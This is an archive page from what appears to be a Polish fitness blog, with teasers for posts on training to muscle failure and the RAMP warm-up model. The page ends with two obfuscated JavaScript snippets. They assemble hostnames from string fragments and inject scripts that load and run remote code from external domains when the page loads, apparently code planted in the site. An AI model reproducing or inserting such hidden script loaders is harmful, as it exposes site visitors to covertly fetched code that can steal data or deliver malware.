kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 6 kwietnia, 2025

Kategorie:

trening do upadku mięśniowego

Trening do upadku mięśniowego: Czy to konieczne dla hipertrofii?

6 kwietnia, 2025

Trening do upadku mięśniowego to jedna z tych strategii w świecie fitness, która budzi skrajne emocje. Dla jednych to święty

Czytaj więcej >

model rozgrzewki RAMP

Zapomnij o tradycyjnej rozgrzewce przed treningiem: Poznaj model rozgrzewki RAMP!

6 kwietnia, 2025

Czy Twoja rozgrzewka przed treningiem ogranicza się do kilku minut na rowerku i paru wymachów ramion? Jeśli tak, tracisz ogromny

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();